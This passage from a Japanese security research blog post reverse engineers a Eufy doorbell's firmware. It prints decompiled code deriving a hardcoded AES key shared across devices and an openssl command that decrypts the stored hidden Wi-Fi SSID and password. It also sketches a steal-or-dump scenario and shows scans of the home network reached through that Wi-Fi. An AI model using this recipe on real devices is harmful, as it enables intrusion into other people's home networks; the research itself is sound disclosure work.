12:32:21.482798 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype ARP (0x0806), length 42: Reply 192.168.32.250 is-at 90:bf:d9:9f:97:fa, length 28

ドアベルが私たちに接続されたことはそれ自体興味深いことではありませんが、Eufyが使用する音波同期プロトコルをリバースエンジニアリングするプロセスを楽しみました。多くのことを学びました \o/

0x04 フラッシュメモリダンプからのOCEAN_XXXXXX認証情報の抽出と復号化

フラッシュメモリをダンプしたとき、ドアベルは以前に私のホームベースと同期していたため、隠しネットワーク認証情報がどこかにあると確信していました。しかし残念ながら、「OCEAN」という文字列を検索しても参照が見つからず、奇妙でした。vx-undergroundを言い換えると、ELFを再び棒で突いて、この設定がいつか使用されたかどうかを確認しました。キーワードを検索した後、この関数にたどり着きました。

undefined4 FUN_0001f8ac(int param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  size_t __n;
  int iVar5;
  
  FUN_0001a80c(1,"save parameter.",param_3,param_4,param_1,param_2);
  iVar2 = open((char *)(param_1 + 0x517a),0x41,0x1a4);
  if (iVar2 < 0) {
    FUN_0001a80c(3,"writeConfig can\'t open config file(%s).",(char *)(param_1 + 0x517a));
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) goto LAB_0001f918;
    bVar1 = true;
  }
  else {
    bVar1 = false;
  }
  iVar5 = param_1 + 0x5894;
  iVar3 = FUN_0003b604(param_1 + 0x540f,iVar5);
  if (iVar3 < 0) {
    FUN_0001a80c(3,"writeConfig setEncryptkey Fail");
    FUN_0001a80c(3,"write parameter fail");
    printf("write parameter fail");
    close(iVar2);
    return 0;
  }
  memset(&DAT_002cb989,0,0xc01);
  iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
  __n = iVar3 + 2;
  DAT_002cb989 = (undefined2)iVar3;
  sVar4 = write(iVar2,&DAT_002cb989,__n);
  if (__n == sVar4) {
    FUN_0001a80c(2,"write parameter succ (%d)(%d)",__n,0xa6);
    printf("write parameter succ (%d)(%d)",__n,0xa6);
  }
  else {
    FUN_0001a80c(3,"write config file fail.(%d)(%d)",sVar4,__n);
  }
  fsync(iVar2);
  close(iVar2);
  sync();
  if (!bVar1) {
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) {
LAB_0001f918:
      FUN_0001a80c(3,"writeConfig can\'t open config bak file(%s).");
      return 0;
    }
    memset(&DAT_002cb989,0,0xc01);
    iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
    __n = iVar3 + 2;
    DAT_002cb989 = (undefined2)iVar3;
    sVar4 = write(iVar2,&DAT_002cb989,__n);
    if (__n == sVar4) {
      FUN_0001a80c(2,"write parameter bak succ (%d)(%d)",__n,0xa6);
      printf("write parameter bak succ (%d)(%d)",__n,0xa6);
    }
    else {
      FUN_0001a80c(3,"write config bak file fail.(%d)(%d)",sVar4,__n);
    }
    fsync(iVar2);
    close(iVar2);
    sync();
  }
  if (*(code **)(param_1 + 0x5acc) != (code *)0x0) {
    (**(code **)(param_1 + 0x5acc))(0x6d,&DAT_002cb989,0,0,__n);
  }
  return 1;
}

FUN_0003b604が0未満を返すと、setEncryptKey Failを示すエラーメッセージがログに記録されます。

int FUN_0003b604(char *param_1,undefined4 param_2)

{
  size_t sVar1;
  int iVar2;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x10) {
    iVar2 = FUN_0012f748(param_2,param_1,0x80);
    if (-1 < iVar2) {
      return iVar2;
    }
    FUN_0001a80c(1,"set_encrypt_key fail \n");
  }
  else {
    FUN_0001a80c(1,"KEY len err! %d ",sVar1);
  }
  return -1;
}

その0x80は、FUN_0012f748がAES-128になるだろうという良い手がかりですが、念のため関数の内容をChatGPTにコピーし、私の仮説を確認しました。

FUN_0012f748は、供給された128、192、または256ビットのキーからAES暗号化キーのスケジュールを作成します。キーサイズを検証し、対応するAESラウンド数を記録し、元のキーワードをコピーし、AES置換とラウンド定数を使用してすべてのラウンドキーに展開します。

さらにこのスレッドを掘り下げると、キーを構築する関数が見つかりました。

void FUN_0001e184(int param_1)

{
  size_t sVar1;
  undefined4 uVar2;
  char *pcVar3;
  char *pcVar4;
  undefined4 *puVar5;
  undefined4 local_4c [16];
  undefined1 local_c;
  
  puVar5 = local_4c;
  local_c = 0;
  pcVar4 = "abcdefghijklmnopqrstuvwxyz0123456789~_ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  do {
    pcVar3 = pcVar4 + 8;
    uVar2 = *(undefined4 *)(pcVar4 + 4);
    *puVar5 = *(undefined4 *)pcVar4;
    puVar5[1] = uVar2;
    puVar5 = puVar5 + 2;
    pcVar4 = pcVar3;
  } while (pcVar3 != "");
  FUN_0001d17c(local_4c);
  pcVar4 = (char *)(param_1 + 0x540f);
  pcVar4[0] = '\0';
  pcVar4[1] = '\0';
  pcVar4[2] = '\0';
  pcVar4[3] = '\0';
  *(undefined4 *)(param_1 + 0x5413) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4)
  ;
  *(undefined4 *)(param_1 + 0x5417) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x8)
  ;
  *(undefined4 *)(param_1 + 0x541b) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc)
  ;
  *(undefined4 *)(param_1 + 0x5418) = 0;
  *(undefined4 *)(param_1 + 0x541c) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4)
  ;
  FUN_0001deb8(local_4c,pcVar4);
  sVar1 = strlen(pcVar4);
  FUN_0001a80c(1,"getKeyC(%d)",sVar1);
  return;
}

長い文字列abc…XYZ(64バイト)がFUN_0001d17cに渡され、これは古典的なXORを3バイトの繰り返しグループ(0x01、0x04、0x06)で適用します。

char * FUN_0001d17c(char *param_1,undefined4 param_2,undefined4 param_3)

{
  size_t sVar1;
  int extraout_r1;
  uint uVar2;
  undefined3 local_14;
  undefined1 uStack_11;
  undefined4 uStack_10;
  
  _local_14 = CONCAT13((char)((uint)param_2 >> 0x18),0x60401);
  uStack_10 = param_3;
  for (uVar2 = 0; sVar1 = strlen(param_1), uVar2 < sVar1; uVar2 = uVar2 + 1) {
    FUN_00213228(uVar2,3);
    param_1[uVar2] = *(byte *)((int)&local_14 + extraout_r1) ^ param_1[uVar2];
  }
  return param_1;
}

次に、結果の65バイト文字列(64バイトをパターンでXOR + 1ヌルバイト)がFUN_0001deb8に渡されます。これは定数に基づいているため、MD5ハッシュを実行していると推測できます。ただし、8バイト(16進数16文字)しか返しません。

void FUN_0001deb8(undefined4 param_1,char *param_2)

{
  byte *pbVar1;
  char *__s;
  char *pcVar2;
  byte abStack_80 [16];
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 local_60;
  undefined4 uStack_5c;
  
  local_70 = 0;
  local_68 = 0x67452301;
  uStack_64 = 0xefcdab89;
  local_6c = 0;
  local_60 = 0x98badcfe;
  uStack_5c = 0x10325476;
  FUN_0001dda4(&local_70,param_1,0x41);
  FUN_0001de4c(&local_70,abStack_80);
  pbVar1 = abStack_80;
  __s = param_2;
  do {
    pcVar2 = __s + 2;
    sprintf(__s,"%02X",(uint)*pbVar1);
    pbVar1 = pbVar1 + 1;
    __s = pcVar2;
  } while (pcVar2 != param_2 + 0x10);
  param_2[0x10] = '\0';
  return;
}

これにより、設定ファイルを暗号化/復号化するために使用される文字列C0C714B43806EF49 => 43304337313442343338303645463439が得られます。これはハードコードされたデータから派生しているため、デバイス間で同じであるはずです。

暗号化されたファイル(es_configと呼ばれる)は、私の場合は次のとおりでした。

=> xxd es_config                                                     
00000000: b000 b622 0971 cee1 c1b5 0ecc d749 4e58  ...".q.......INX
00000010: e11d 1f8d 6769 ed50 9f19 fb1e eaf7 c33b  ....gi.P.......;
00000020: 5463 9269 fdde 70cc bf18 71a0 19df c33a  Tc.i..p...q....:
00000030: ed48 6c31 061a efa9 68de c7e2 eb93 b00a  .Hl1....h.......
00000040: 39be 83ce ecf6 0158 6717 4a08 a8eb 249e  9......Xg.J...$.
00000050: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
00000060: 33af 22e3 f819 b5f1 e581 a605 83ff e623  3."............#
00000070: 6a1a 45ee 48c1 e43a 1719 1c24 8bf9 0657  j.E.H..:...$...W
00000080: 611b 952e 365a 740a 6f0e 3692 39b8 2490  a...6Zt.o.6.9.$.
00000090: 516a 83ce ecf6 0158 6717 4a08 a8eb 249e  Qj.....Xg.J...$.
000000a0: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e  3......Xg.J...$.
000000b0: 33af                                     3.

そして、それを復号化すると、OCEAN_XXXXXX SSIDとそのパスワードが見えます。

=> tail -c +3 es_config | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f  STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000  E9A5FC..........
00000020: 0000 0000 0000 0000 0000 4631 5653 5866  ..........F1VSXf
00000030: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000  NQL_ZCd3k.......
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000  ............ ...
00000070: 4242 4242 3346 3138 3746 3343 3631 3537  BBBB3F187F3C6157
00000080: 0000 0006 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0100 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

もしドアベルにアクセスできる人がいて、ジャミングで所有者に何も警告されなかった場合、5分でフラッシュメモリをダンプし、隠しネットワーク認証情報を抽出するように操作できます。あるいは、盗んで家でダンプするだけです。この旅の最初に説明したように、ホームベースネットワークは隔離されていません。このWi-Fiに接続すると、ホームネットワークを使用してインターネットをブラウズでき、ホームネットワーク上の他のデバイス(ルーターなど)にもアクセスできます。

=>   iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

wlp1s0    IEEE 802.11  ESSID:"OCEAN_E9A5FC"  
          Mode:Managed  Frequency:2.437 GHz  Access Point: 90:BF:D9:E9:A5:FC   
          Bit Rate=130 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=67/70  Signal level=-43 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

virbr0    no wireless extensions.

tailscale0  no wireless extensions.

docker0   no wireless extensions.
3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 18:26:49:11:82:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.32.100/24 brd 192.168.32.255 scope global dynamic noprefixroute wlp1s0
       valid_lft 86368sec preferred_lft 86368sec
    inet6 fe80::8339:84a3:5f01:ad64/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
=>   ping google.es
PING google.es (216.58.204.195) 56(84) bytes of data.
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=1 ttl=117 time=37.7 ms
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=2 ttl=117 time=42.5 ms
^C
--- google.es ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 37.683/40.087/42.492/2.404 ms

ホームベースと同じルーターにデプロイされている、到達可能なテストデバイス/プラットフォームのいくつか。

=>   curl -I 192.168.90.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=20
ETag: "18c-1ef-5687f92e"
Last-Modified: Sat, 02 Jan 2016 16:22:06 GMT
Date: Tue, 28 Jul 2026 20:13:45 GMT
Content-Type: text/html
Content-Length: 495

=>   curl -I 192.168.51.151
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 28 Jul 2026 20:14:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache
Content-Security-Policy: 
Location: http://192.168.1.201/users/sign_in
Nel: {"max_age": 0}
Permissions-Policy: interest-cohort=()
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Meta: {"correlation_id":"01KYN5SXMW6YDPK131DD9G3X88","version":"1"}
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01KYN5SXMW6YDPK131DD9G3X88
X-Runtime: 0.040059
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=63072000
Referrer-Policy: strict-origin-when-cross-origin

もちろん、このWi-Fiはホームベース自体のネットワークサービスと対話することを可能にします…ただし、ファームウェアをダンプできるようになり次第、この側面をさらに調査します }:P

Not shown: 65341 closed tcp ports (conn-refused)
PORT      STATE SERVICE     REASON  VERSION
53/tcp    open  domain      syn-ack dnsmasq 2.90
554/tcp   open  rtsp        syn-ack
9000/tcp  open  cslistener? syn-ack
10400/tcp open  unknown     syn-ack
10402/tcp open  unknown     syn-ack
10404/tcp open  unknown     syn-ack
10600/tcp open  tcpwrapped  syn-ack
20030/tcp open  unknown     syn-ack
20031/tcp open  unknown     syn-ack
32290/tcp open  tcpwrapped  syn-ack
32292/tcp open  tcpwrapped  syn-ack
32293/tcp open  unknown     syn-ack
32295/tcp open  unknown     syn-ack
32392/tcp open  tcpwrapped  syn-ack
43928/tcp open  unknown     syn-ack

0x05 最終的な言葉

このブログに最後に書いたのは2年前になります。その間、いくつかの研究を行いましたが、それは常にレッドチームとしての仕事に関連していました(そして、正直に言って、それはますます陰鬱になっていました)。ただ楽しむために何かをハッキングする感覚を再発見し、学習の喜びのためだけに何時間も研究に費やすことができたのは素晴らしいことでした。私は古い内なるフクロウと再接続しました。

この読書を楽しんでいただけたことを願っています!Twitter @AdeptsOf0xCCでフィードバックを自由にお寄せください。